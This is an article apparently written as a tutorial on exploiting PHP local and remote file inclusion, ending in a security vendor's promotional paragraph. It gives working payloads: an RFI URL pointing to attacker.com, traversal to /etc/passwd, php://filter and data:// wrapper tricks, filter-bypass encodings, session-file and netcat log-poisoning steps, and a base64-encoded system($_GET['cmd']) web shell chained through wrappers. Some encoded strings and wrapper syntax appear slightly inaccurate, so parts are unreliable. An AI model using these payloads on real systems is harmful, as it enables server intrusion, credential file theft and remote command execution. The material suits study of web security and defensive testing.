Understanding and Exploiting File Inclusion Vulnerabilities

File inclusion vulnerabilities, both Local File Inclusion (LFI) and Remote File Inclusion (RFI), represent significant security risks in web applications. These vulnerabilities allow attackers to include files, either from the local server or from remote locations, potentially leading to information disclosure, remote code execution, and complete system compromise. This article explores the nuances of file inclusion, demonstrating techniques, and providing practical insights into how these vulnerabilities can be exploited.

Types of File Inclusion

Relative vs. Absolute Pathing

Understanding file paths is fundamental to grasping file inclusion vulnerabilities.

Relative Pathing: Defines a file’s location based on the current working directory. For instance, if a script uses include('./folder/file.php'), it’s looking for file.php within a directory named folder located in the same directory as the script itself.
Absolute Pathing: Specifies the complete path to a file, starting from the root directory. An example is /var/www/html/folder/file.php, which provides the full location of file.php regardless of the current working directory.

Remote File Inclusion (RFI)

RFI vulnerabilities occur when an application includes a file from a remote server, usually specified via a URL. Attackers can exploit this by providing a URL that points to a malicious script.

For example: `http://example.com/include.php?page=http://attacker.com/exploit.php`

Here, the vulnerable application might include and execute exploit.php hosted on the attacker’s server.

Local File Inclusion (LFI)

LFI vulnerabilities involve including files that reside on the same server as the application. Attackers manipulate input fields to access files outside the intended directory, often by using directory traversal techniques.

For example: `http://example.com/include.php?page=../../../../etc/passwd`

This URL attempts to access the /etc/passwd file, a common target containing user account information.

LFI vs. RFI

The key difference lies in the source of the included file. LFI uses local files, while RFI fetches files from remote servers. Both can lead to severe consequences, including remote code execution.

PHP Wrappers

PHP wrappers extend PHP’s file handling capabilities, allowing access to various I/O streams using built-in protocols. While useful, these wrappers can be exploited in file inclusion attacks.

One commonly abused wrapper is php://filter. It allows for the manipulation and retrieval of file contents.

For example: php://filter/convert.base64-encode/resource=/etc/passwd

This payload encodes the contents of /etc/passwd in Base64. The attacker can then decode this output to reveal the file’s contents.

PHP Filter Categories

PHP filters are categorized based on their function:

String Filters: Modify string data (e.g., string.rot13, string.toupper, string.tolower).
Conversion Filters: Convert data between formats (e.g., convert.base64-encode, convert.base64-decode).
Compression Filters: Compress or decompress data (e.g., zlib.deflate, zlib.inflate).
Encryption Filters

Applying different filters to the same file, like .htaccess, demonstrates their effects:

Payload	Output
`php://filter/convert.base64-encode/resource=.htaccess`	`UmV3cml0ZUVuZ2luZSBvbgpPcHRpb25zIC1JbmRleGVz`
`php://filter/string.rot13/resource=.htaccess`	`ErjevgrRatvar ba Bcgvbaf -Vaqrkrf`
`php://filter/string.toupper/resource=.htaccess`	`REWRITEENGINE ON OPTIONS -INDEXES`
`php://filter/string.tolower/resource=.htaccess`	`rewriteengine on options -indexes`
`php://filter/string.strip_tags/resource=.htaccess`	`RewriteEngine on Options -Indexes`
No filter applied	`RewriteEngine on Options -Indexes`

Data Wrapper

The data:// wrapper enables embedding data directly within the code. It’s typically used for small data snippets.

Example: data:text/plain,<?php phpinfo(); ?>

This embeds and executes a simple PHP script that displays PHP configuration information.

Base Directory Breakout

Developers often implement security checks to restrict file access to specific directories. However, these checks can sometimes be bypassed.

Consider this PHP code snippet:

function containsStr($str, $subStr){
    return strpos($str, $subStr) !== false;
}

if(isset($_GET['page'])){
    if(!containsStr($_GET['page'], '../..') && containsStr($_GET['page'], '/var/www/html')){
        include $_GET['page'];
    }else{
        echo 'You are not allowed to go outside /var/www/html/ directory!';
    }
}

This code attempts to prevent directory traversal by checking for ../.. and ensuring the path includes /var/www/html. However, an attacker could use /var/www/html/..//..//..//etc/passwd to bypass this check. The ..//..// sequence is functionally equivalent to ../../, but it avoids the explicit string check.

Obfuscation

Attackers often use obfuscation techniques to evade simple filters. Some common methods include:

Standard URL Encoding: Representing ../ as %2e%2e%2f.
Double Encoding: Encoding characters multiple times, e.g., ../ becomes %252e%252e%252f. This is effective if the application decodes input twice.
Obfuscation: Using ....//

Consider a script that removes ../ from the input:

$file = $_GET['file'];
$file = str_replace('../', '', $file);

include('files/' . $file);

Attackers could use:
1. URL Encoded Bypass: ?file=%2e%2e%2fconfig.php
2. Double Encoded Bypass: ?file=%252e%252e%252fconfig.php
3. Obfuscation: ....//config.php

LFI to RCE: Session Files

Exploiting LFI can lead to Remote Code Execution (RCE) by manipulating PHP session files. Session data is typically stored in files on the server.

Consider this example:

if(isset($_GET['page'])){
    $_SESSION['page'] = $_GET['page'];
    echo "You're currently in" . $_GET["page"];
    include($_GET['page']);
}

An attacker can inject PHP code into the page parameter, which gets stored in the session file. Then, by using LFI to include the session file (whose path can often be determined from cookies or known server configurations), the injected code is executed.
The steps would be:
1- Inject the payload into the page parameter
2- determine the session ID from the browser cookies.
3- Include the file using /var/lib/php/sessions/sess_[sessionID]

LFI to RCE: Log Poisoning

Log poisoning involves injecting malicious code into server log files and then using LFI to include and execute those logs. Attackers can achieve this by:

Manipulating the User-Agent header.
Sending crafted requests via tools like Netcat.
Modifying the Referrer header.

For instance, an attacker might send a request with embedded PHP code:

$ nc target_ip 80
<?php echo phpinfo(); ?>

If the server logs this request, the attacker can then use LFI to include the log file (e.g., ?page=/var/log/apache2/access.log), causing the injected code to execute.

LFI to RCE: Using Wrappers for Code Execution

PHP wrappers can be leveraged not just for reading files but also for direct code execution.

Consider a payload like: <?php system($_GET['cmd']); echo 'Shell done!'; ?>

Base64 encoded, this becomes: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+

Combining this with PHP wrappers, an attacker can construct a URL like:

php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+

Position	Field	Value
1	Protocol Wrapper	`php://filter`
2	Filter	`convert.base64-decode`
3	Resource Type	`resource=`
4	Data Type	`data://plain/text,`
5	Encoded Payload	`PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+`

This payload uses php://filter to decode the Base64-encoded PHP code provided via the data:// wrapper. The decoded code then executes, allowing command execution through the cmd GET parameter.

How Innovative Software Technology Can Help

At Innovative Software Technology, we specialize in securing web applications against vulnerabilities like LFI and RFI. Our comprehensive security audits and penetration testing services identify and mitigate these risks. We use advanced techniques to discover potential file inclusion vulnerabilities, ensuring that your applications are protected against directory traversal, code injection, and other related threats. Our SEO-optimized security solutions not only enhance your website’s security posture but also improve its search engine ranking by ensuring compliance with best practices and reducing the risk of penalties associated with security breaches. We offer tailored security consulting, secure code reviews, and vulnerability remediation services, all designed to provide robust protection and maintain the integrity of your online presence. Trust Innovative Software Technology to safeguard your applications and optimize your SEO performance simultaneously.